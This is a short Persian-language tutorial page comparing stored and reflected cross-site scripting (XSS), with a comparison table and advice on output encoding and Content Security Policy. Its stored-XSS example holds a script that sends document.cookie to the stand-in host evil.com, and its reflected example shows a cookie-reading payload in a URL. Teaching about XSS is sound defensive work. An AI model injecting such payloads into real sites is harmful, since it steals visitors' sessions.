CodeShot

XSS ذخیره‌شده (Stored) در مقابل XSS بازتابی (Reflected)

در XSS ذخیره‌شده، اسکریپت مخرب در دیتابیس یا فایل سرور ذخیره می‌شود (مثلاً در یک کامنت) و برای هر کاربری که آن صفحه را ببیند اجرا می‌شود، در حالی که در XSS بازتابی، اسکریپت مخرب فقط در همان درخواست (معمولاً در پارامتر URL) قرار دارد و بلافاصله در پاسخ همان درخواست بازتاب داده و اجرا می‌شود بدون این‌که جایی ذخیره شود.

ویژگیXSS ذخیره‌شده (Stored)XSS بازتابی (Reflected)
محل ذخیره اسکریپتدیتابیس/فایل سرورفقط در همان درخواست
دامنه تأثیرهمه بازدیدکنندگان صفحهفقط قربانی لینک مخرب
نیاز به فریب کاربرخیربله (کلیک روی لینک)

کِی از XSS ذخیره‌شده (Stored) استفاده کنیم؟

برای درک آسیب دائمی و گسترده: یک بار تزریق در بخش کامنت یا پروفایل، تمام بازدیدکنندگان بعدی را آلوده می‌کند.

کِی از XSS بازتابی (Reflected) استفاده کنیم؟

برای درک آسیب موردی: مهاجم باید قربانی را با یک لینک مخرب حاوی اسکریپت در پارامتر URL فریب دهد.

مثال XSS ذخیره‌شده (Stored)

<!-- Stored: در دیتابیس کامنت ذخیره شده -->
<div class="comment">
  <script>document.location='//evil.com/'+document.cookie</script>
</div>

مثال XSS بازتابی (Reflected)

https://shop.example.com/search?q=
<script>alert(document.cookie)</script>
<!-- Reflected: مستقیم در نتیجه جستجو بازتاب می‌شود -->

اشتباه رایج

اشتباه رایج فرض این است که XSS بازتابی چون «ذخیره نمی‌شود» کم‌خطرتر است؛ اما اگر لینک آلوده برای قربانی خاصی (مثل ادمین) ارسال شود، همان یک کلیک می‌تواند منجر به سرقت کامل نشست (Session) او شود.

جمع‌بندی

هر دو نوع با اسکیپ‌کردن صحیح خروجی (Output Encoding) و Content Security Policy قابل پیشگیری‌اند؛ نوع ذخیره‌شده معمولاً آسیب گسترده‌تری دارد و باید در اولویت رفع باشد.